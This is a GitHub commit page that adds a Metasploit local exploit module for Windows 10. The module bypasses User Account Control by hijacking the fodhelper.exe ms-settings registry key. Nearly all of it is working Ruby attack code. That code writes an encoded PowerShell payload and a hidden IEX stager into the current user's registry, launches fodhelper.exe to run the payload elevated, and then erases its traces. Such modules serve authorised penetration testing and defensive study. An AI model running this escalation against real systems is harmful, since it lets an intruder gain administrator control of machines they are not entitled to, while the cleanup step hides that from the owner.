Skip to content

Commit 74c08ce

Browse files
author
amaloteaux
committed
Add bypassuac fodhelper module for Windows 10
1 parent 467f1ce commit 74c08ce

File tree

1 file changed

+208
-0
lines changed

1 file changed

+208
-0
lines changed
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/exe'
7+
require 'msf/core/exploit/powershell'
8+
9+
class MetasploitModule < Msf::Exploit::Local
10+
Rank = ExcellentRanking
11+
12+
include Exploit::Powershell
13+
include Post::Windows::Priv
14+
include Post::Windows::Registry
15+
include Post::Windows::Runas
16+
17+
FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings"
18+
FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command"
19+
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'
20+
EXEC_REG_VAL = '' # This maps to "(Default)"
21+
EXEC_REG_VAL_TYPE = 'REG_SZ'
22+
FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe"
23+
CMD_MAX_LEN = 16383
24+
25+
def initialize(info={})
26+
super(update_info(info,
27+
'Name' => 'Windows Escalate UAC Protection Bypass (Via FodHelper Registry Key)',
28+
'Description' => %q{
29+
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
30+
the current user hive, and inserting a custom command that will get invoked when
31+
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
32+
flag turned off.
33+
34+
This module modifies a registry key, but cleans up the key once the payload has
35+
been invoked.
36+
37+
The module does not require the architecture of the payload to match the OS. If
38+
specifying EXE::Custom your DLL should call ExitProcess() after starting your
39+
payload in a separate process.
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' => [
43+
'winscriptingblog', # UAC bypass discovery and research
44+
'amaloteaux' , # MSF module
45+
],
46+
'Platform' => ['win'],
47+
'SessionTypes' => ['meterpreter'],
48+
'Targets' => [
49+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
50+
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
51+
],
52+
'DefaultTarget' => 0,
53+
'References' => [
54+
[
55+
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
56+
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
57+
]
58+
],
59+
'DisclosureDate'=> 'May 12 2017'
60+
))
61+
end
62+
63+
def check
64+
if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
65+
Exploit::CheckCode::Appears
66+
else
67+
Exploit::CheckCode::Safe
68+
end
69+
end
70+
71+
def exploit
72+
commspec = '%COMSPEC%'
73+
registry_view = REGISTRY_VIEW_NATIVE
74+
psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
75+
76+
# Make sure we have a sane payload configuration
77+
if sysinfo['Architecture'] == ARCH_X64
78+
if session.arch == ARCH_X86
79+
# fodhelper.exe is x64 only exe
80+
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
81+
if target_arch.first == ARCH_X64
82+
# We can't use absolute path here as
83+
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
84+
psh_path = "powershell.exe"
85+
end
86+
end
87+
if target_arch.first == ARCH_X86
88+
# Invoking x86, so switch to SysWOW64
89+
psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe"
90+
end
91+
else
92+
# if we're on x86, we can't handle x64 payloads
93+
if target_arch.first == ARCH_X64
94+
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
95+
end
96+
end
97+
98+
if !payload.arch.empty? && !(payload.arch.first == target_arch.first)
99+
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
100+
end
101+
102+
# Validate that we can actually do things before we bother
103+
# doing any more work
104+
check_permissions!
105+
106+
case get_uac_level
107+
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
108+
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
109+
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
110+
fail_with(Failure::NotVulnerable,
111+
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
112+
)
113+
when UAC_DEFAULT
114+
print_good('UAC is set to Default')
115+
print_good('BypassUAC can bypass this setting, continuing...')
116+
when UAC_NO_PROMPT
117+
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
118+
shell_execute_exe
119+
return
120+
end
121+
122+
payload_value = rand_text_alpha(8)
123+
psh_path = expand_path(psh_path)
124+
125+
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
126+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
127+
128+
if psh_payload.length > CMD_MAX_LEN
129+
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
130+
end
131+
132+
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
133+
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
134+
135+
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
136+
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
137+
138+
if existing.empty?
139+
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
140+
end
141+
142+
print_status("Configuring payload and stager registry keys ...")
143+
unless exist_delegate
144+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
145+
end
146+
147+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
148+
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view)
149+
150+
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
151+
cmd_path = expand_path(commspec)
152+
cmd_args = expand_path("/c #{FODHELPER_PATH}")
153+
print_status("Executing payload: #{cmd_path} #{cmd_args}")
154+
155+
# We can't use cmd_exec here because it blocks, waiting for a result.
156+
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
157+
158+
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
159+
# TODO: fix this up to use something smarter than a timeout?
160+
Rex::sleep(5)
161+
162+
handler(client)
163+
164+
print_status("Cleaining up registry keys ...")
165+
unless exist_delegate
166+
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
167+
end
168+
if existing.empty?
169+
registry_deletekey(FODHELPER_DEL_KEY, registry_view)
170+
else
171+
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
172+
end
173+
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
174+
175+
end
176+
177+
def check_permissions!
178+
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
179+
180+
# Check if you are an admin
181+
vprint_status('Checking admin status...')
182+
admin_group = is_in_admin_group?
183+
184+
unless check == Exploit::CheckCode::Appears
185+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
186+
end
187+
188+
unless is_in_admin_group?
189+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
190+
end
191+
192+
print_status('UAC is Enabled, checking level...')
193+
if admin_group.nil?
194+
print_error('Either whoami is not there or failed to execute')
195+
print_error('Continuing under assumption you already checked...')
196+
else
197+
if admin_group
198+
print_good('Part of Administrators group! Continuing...')
199+
else
200+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
201+
end
202+
end
203+
204+
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
205+
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
206+
end
207+
end
208+
end

0 commit comments

Comments
 (0)